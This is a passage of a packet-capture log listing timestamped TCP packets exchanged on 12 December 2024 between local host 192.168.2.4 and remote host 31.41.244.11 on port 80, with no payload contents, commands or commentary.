Dec 12, 2024 14:26:28.460302114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.460663080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.460663080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.461090088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.461106062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.461142063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.461313963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.461335897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.461524010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.462126017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.462141037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.462176085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.462191105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.462210894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.462236881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.463282108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.463298082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.463342905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.464099884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.464164019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.464409113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.464458942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.464740992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.464756966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.464797020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.464797020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.465387106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.465677977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.466363907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.466379881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.466399908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.466425896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.466459036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.466459036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.467335939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.467397928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.468257904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.468276024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.468292952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.468359947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.468359947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.468359947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.469264984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.469312906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.469732046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.469840050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.470710993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.470772028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.471378088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.471394062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.471440077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.471451044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.471451044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.471549034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.472270966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.472287893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.472318888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.472398996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.472840071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.472902060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.473527908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.473545074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.473562002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.473818064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.473818064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.474230051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.474427938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.474914074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.474967003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.475214005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.475330114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.620865107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.620884895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.620933056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.621138096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.621239901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.621402025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.621428013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.621506929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.622044086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.622102976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.622111082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.622167110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.622950077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.623003006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.624039888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.624505043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.624537945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.624553919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.624743938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.624743938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.625019073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.625080109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.625104904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.625250101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.625967979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.625984907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.626019001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.626106977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.627243996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.627260923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.627342939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.627342939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.627947092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.628068924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.628560066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.628611088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.628642082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.628658056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.628705978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.629592896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.629607916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.629687071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.629687071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.631319046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.631336927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.631357908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.631373882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.631397963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.631427050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.631427050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.631455898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.632108927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.632874012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.632882118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.632899046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.632914066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.632941961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.632952929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.633665085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.633682013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.633867979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.634449959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.634679079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.634829044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.634870052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.635379076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.635395050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.635435104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.635454893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.636344910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.636635065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.636662006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.636709929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.637271881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.637651920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.638232946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.638247967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.638262987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.638310909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.638310909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.639307976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.639359951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.639368057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.639420033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.640192986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.640208960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.640253067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.640253067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.641423941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.641695023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.642060041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.642076969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.642095089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.642119884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.642119884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.642173052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.643357992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.643373966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.643416882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.643435001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.644191980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.644289970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.644617081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.644681931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.644952059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.645153046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.645546913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.645603895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.646096945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.646111965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.646275997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.646275997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.647186041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.647202015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.647234917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.647279978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.647981882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.648000002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.648107052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.648107052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.648699045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.649254084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.649276018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.649486065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.649486065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.649486065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.649497986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.649560928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.649900913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.650079966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.650779963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.650809050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.650830030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.650856018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.650856018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.650881052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.652018070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.652034998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.652081966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.652112007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.652290106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.652384996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.652790070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.652837992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.653038025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.653055906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.653127909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.653927088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.653949022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.653987885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.654002905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.654787064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.654833078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.654863119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.654925108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.656055927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.656163931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.656451941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.656569004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.657161951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.657183886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.657222986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.657237053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.658045053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.658162117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.658194065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.658329010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.659060001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.659080982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.659342051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.659342051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.659935951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.660007000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.660043955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.660407066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.661030054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.661077023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.661346912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.661464930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.661767006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.662076950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.662564039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.662584066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.662601948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.662781000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.663361073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.663479090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.663503885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.663562059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.664375067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.664596081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.664805889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.664905071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.665484905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.665504932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.665739059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.665739059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.666327953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.666467905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.667227983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.667248011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.667287111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.667355061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.667355061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.667355061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.668231010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.668329000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.816287041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.816309929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.816873074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.816884995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.816905022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.817430973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.817847013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.817958117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.818002939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.818196058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.819147110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.819166899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.819195032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.819216013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.060020924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.060049057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.060096025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.060122967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.060190916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.060190916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.068618059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068639040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068685055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068703890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068721056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068738937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068774939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.068774939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.068795919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068814993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068860054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068878889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068921089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068938971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.068985939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069005013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069037914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069039106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069039106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069039106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069039106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069056034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069107056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069123983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069127083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069148064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069165945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069220066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069228888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069240093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069276094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069282055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069302082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069323063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069350958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069370985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069442034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069461107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069505930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069525003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069566011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069585085 CET	80	49801	31.41.244.11	192.168.2.4
